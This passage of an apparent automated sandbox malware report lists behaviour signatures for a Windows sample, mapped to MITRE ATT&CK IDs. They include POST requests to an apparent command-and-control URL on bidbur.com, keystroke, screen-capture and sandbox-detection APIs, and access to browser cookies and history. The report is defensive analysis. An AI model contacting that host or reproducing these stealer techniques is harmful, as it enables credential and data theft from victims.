Access","mitre_attack_id":"T1546.015","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"PE file contains executable sections","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" has an executable section named \"CODE\"","origin":"Static Parser","relevance":1,"id":"static-80","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"PE file contains writable sections","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" has an writable section named \"DATA\"\n \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" has an writable section named \"BSS\"\n \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" has an writable section named \".idata\"\n \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" has an writable section named \".tls\"","origin":"Static Parser","id":"static-95","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"PE file entrypoint instructions","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" file has an entrypoint instructions - \"push\tebp,mov\tebp, esp,add\tesp, -0x10,mov\teax, 0x10062dbc,call\t0x1000623c,mov\teax, dword ptr [0x10065a0c],mov\teax, dword ptr [eax],call\t0x10057244,mov\tecx, dword ptr [0x10065908],mov\teax, dword ptr [0x10065a0c],mov\teax, dword ptr [eax],mov\tedx, dword ptr [0x100625e4],call\t0x1005725c,mov\teax, dword ptr [0x10065a0c],mov\teax, dword ptr [eax],call\t0x100572dc,call\t0x10003fd0,lea\teax, [eax],add\tbyte ptr [eax], al,add\tbyte ptr [eax], al,add\tbyte ptr [eax], al,add\tbyte ptr [eax], al,add\tbyte ptr [eax], al,add\tbyte ptr [eax], al,add\tbyte ptr [eax], al,add\tbyte ptr [eax], al,add\tbyte ptr [eax], al,add\tbyte ptr [eax], al,add\tbyte ptr [eax], al,add\tbyte ptr [eax], al,add\tbyte ptr [eax], al,add\tbyte ptr [eax], al,\"","origin":"Static Parser","id":"static-96","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"bidbur.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"WerFault.exe\" with commandline \"-u -p 4348 -s 1108\" (UID: 00000000-00006828)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"WerFault.exe\" with commandline \"-u -p 4348 -s 1108\" (UID: 00000000-00006828)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"The input sample is signed with a certificate","description":"The input sample is signed with a certificate issued by \"CN=Microsoft Root Authority, OU=Microsoft Corporation, OU=Copyright c 1997 Microsoft Corp.\" (SHA1: 30:36:E3:B2:5B:88:A5:5B:86:FC:90:E6:E9:EA:AD:50:81:44:51:66; see report for more information)\n The input sample is signed with a certificate issued by \"CN=Microsoft Code Signing PCA, O=Microsoft Corporation, L=Redmond, ST=Washington, C=US\" (SHA1: 1E:03:9F:8C:2B:CB:0D:13:FC:54:59:95:7E:CC:5B:9B:7A:27:10:41; see report for more information)\n The input sample is signed with a certificate issued by \"CN=Microsoft Root Authority, OU=Microsoft Corporation, OU=Copyright c 1997 Microsoft Corp.\" (SHA1: 3E:A9:9A:60:05:82:75:E0:ED:83:B8:92:A9:09:44:9F:8C:33:B2:45; see report for more information)\n The input sample is signed with a certificate issued by \"CN=Microsoft Timestamping PCA, O=Microsoft Corporation, L=Redmond, ST=Washington, C=US\" (SHA1: 05:FE:CB:74:5F:7F:3B:1A:0E:26:2A:73:43:5C:CB:7E:AA:ED:8B:37; see report for more information)","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-0","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004348.00000001.69491.046E0000.00000040.mdmp\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$32","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$33","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to detect virtual environment\n Matched sigs: Contains ability to detect sandbox (imports API)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"$34","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" touched file \"\\Device\\HarddiskVolume2\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCache\"\n \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" touched file \"\\Device\\HarddiskVolume2\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\INetCookies\"\n \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" touched file \"\\Device\\HarddiskVolume2\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\History\"\n \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\"\n \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies\"\n \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\History\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$35","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$36","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to create a new HTTP request","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" called \"HttpOpenRequestA\" with parameter HTTP method:\"POST\" object: /b5c586aec2e1004c.php\" - (UID: 00000000-00004348)","origin":"API Call","mitre_attack_id":"T1071","relevance":3,"id":"api-143","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to retrieve the URL data","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" called \"InternetReadFile\" with parameter 1999 (UID: 00000000-00004348)\n \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" called \"InternetReadFile\" with parameter 199 (UID: 00000000-00004348)","origin":"API Call","mitre_attack_id":"T1105","relevance":3,"id":"api-118","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Network Related","name":"Calls an API used to connect to internet","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" called \"InternetOpenA\" (UID: 00000000-00004348)","origin":"API Call","mitre_attack_id":"T1071.001","relevance":1,"id":"api-199","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"Found http requests in header \"POST /b5c586aec2e1004c.php\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"$37","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$38","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a HTTP or FTP session (API string)","description":"Found reference to API \"InternetConnectA\" (Indicator: \"InternetConnect\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-538","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"HttpOpenRequestA\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"58293888109,7412,3204,,InternetReadFile,Wininet.dll,\"00:17:55.187\",RX=0,PX=0\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00004348.00000001.69491.025D0000.00000004.mdmp, 00000000-00004348.00000002.71409.025D0000.00000004.mdmp\")\n Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Network Related","name":"Contains ability to open a port and listen for incoming connection (API string)","description":"Found reference to API \"setsockopt\" (Indicator: \"setsockopt\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")","origin":"File/Memory","mitre_attack_id":"T1571","relevance":1,"id":"string-419","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload file/data","description":"$39","origin":"File/Memory","mitre_attack_id":"T1041","relevance":1,"id":"string-511","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"Found reference to API \"InternetOpenA\" (Indicator: \"InternetOpen\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")\n Found reference to API \"InternetOpenUrlA\" (Indicator: \"InternetOpen\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"192.168.243.171\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"Font.Name\"\n Heuristic match: \"bidbur.com\"\n Heuristic match: \"idbur.com\"\n Pattern match: \"http://bide5e0d67-100c-4684-a808-b24f4818b524\"\n Pattern match: \"http://bidbur.com/b5c586aec2e1004c.php\"\n Pattern match: \"http://bididbur.com/b5c586aec2e1004c.php\"\n Pattern match: \"bidbur.com/b5c586aec2e1004c.php\"\n Pattern match: \"http://www.w3.org/2001/XMLSchema-instance\"\n Heuristic match: \"Host: bidbur.com\"\n Pattern match: \"bidbur.com/494fac8b0beb96d3/sqlite3.dll\"\n Pattern match: \"http://bidbur.com/494fac8b0beb96d3/sqlite3.dll\"\n Heuristic match: \"t=h.GA\"\n Pattern match: \"http://bidbur.com\"","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$3a","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"c586aec2e1004c.php HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00004348.00000000.67570.025D0000.00000004.mdmp\")\n Found string \"POST /b5c586aec2e1004c.php HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00004348.00000000.67570.025D0000.00000004.mdmp\")\n Found string \"Content-Length3773POST /b5c586aec2e1004c.php HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00004348.00000000.67570.025D0000.00000004.mdmp\")\n Found string \"GET /494fac8b0beb96d3/sqlite3.dll HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00004348.00000001.69491.025D0000.00000004.mdmp, 00000000-00004348.00000002.71409.025D0000.00000004.mdmp\")\n Found string \"HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x00000303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE4733EEA6D2F520DDFE1991AFF612]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00004348.00000000.67570.025D0000.00000004.mdmp, 00000000-00004348.00000001.69491.025D0000.00000004.mdmp, 00000000-00004348.00000002.71409.025D0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"2\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" called \"GetComputerNameA\" (UID: 00000000-00004348)\n \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" called \"GetComputerNameW\" (UID: 00000000-00004348)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\" called \"GetUserNameA\" (UID: 00000000-00004348)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"$3b","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to detect sandbox (imports API)","description":"Found GetCursorPos() in an import section (Source: 9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe)","origin":"Static Parser","mitre_attack_id":"T1497","relevance":1,"id":"static-132","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileA\" (Indicator: \"FindFirstFile\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"FindNextFileA\" (Indicator: \"FindNextFile\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")\n Found reference to API \"FindFirstFileA\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"Found reference to API \"RegQueryValueExA\" (Indicator: \"RegQueryValue\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"RegOpenKeyExA\" (Indicator: \"RegOpenKey\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"RegEnumKeyExA\" (Indicator: \"RegEnumKey\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")\n Found reference to API \"RegEnumValueA\" (Indicator: \"RegEnumValue\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")\n Found reference to API \"RegOpenKeyExA\" (Indicator: \"RegOpenKey\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")\n Found reference to API \"RegQueryValueExA\" (Indicator: \"RegQueryValue\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00004348.00000001.69491.046E0000.00000040.mdmp, 00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004348.00000001.69491.046E0000.00000040.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004348.00000001.69491.046E0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00004348.00000001.69491.046E0000.00000040.mdmp, 00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve data about the local computer (API string)","description":"Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-115","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"MapVirtualKeyA\" (Indicator: \"MapVirtualKey\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"GetKeyboardState\" (Indicator: \"GetKeyboardState\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"GetKeyState\" (Indicator: \"GetKeyState\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"GetKeyNameTextA\" (Indicator: \"GetKeyNameText\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameA\" (Indicator: \"GetComputerName\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")\n Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")\n Found reference to API \"GetModuleFileNameExA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host name of a computer (API string)","description":"Found reference to API \"gethostname\" (Indicator: \"gethostname\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-532","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00004348.00000002.71409.025C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the local name for a socket (API string)","description":"Found reference to API \"getsockname\" (Indicator: \"getsockname\"; File: \"9be331f1059d8f7f371f8cf02d8b5db37ffec33e259b7d25b9902eef45a8461b.exe\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-224","sources":[{"report_type":"sandbox","report_id":"653f106cf5a07e6fcf010445"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: 